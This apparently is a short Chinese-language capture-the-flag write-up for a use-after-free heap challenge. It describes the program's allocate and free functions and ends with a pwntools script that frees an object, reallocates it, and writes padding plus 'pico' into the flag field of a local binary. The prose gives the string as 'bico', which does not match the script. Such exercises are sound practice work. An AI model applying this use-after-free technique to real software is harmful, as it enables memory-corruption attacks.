首先,他們有 create struct
然後看到 init() 的地方
一開始的時候會依照你 object 的大小,劃分出一塊空間給你
並在char flag 輸入 bico
free_memory() 負責將上面劃分的空間”釋放”掉
而有一個 alloc_object 可以讓我們先輸入想要劃分的大小
再填入想要的 Data
題目有提示 : use after free
from pwn import *
r = process("./chall")
r.sendline(b"5")
r.sendline(b"2")
r.recvuntil(b"Size of object allocation:")
r.sendline(b"35")
r.recvuntil(b"Data for flag:")
r.sendline(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico")
r.recvuntil(b"Enter your choice:")
r.sendline(b"4")
print(r.recvall())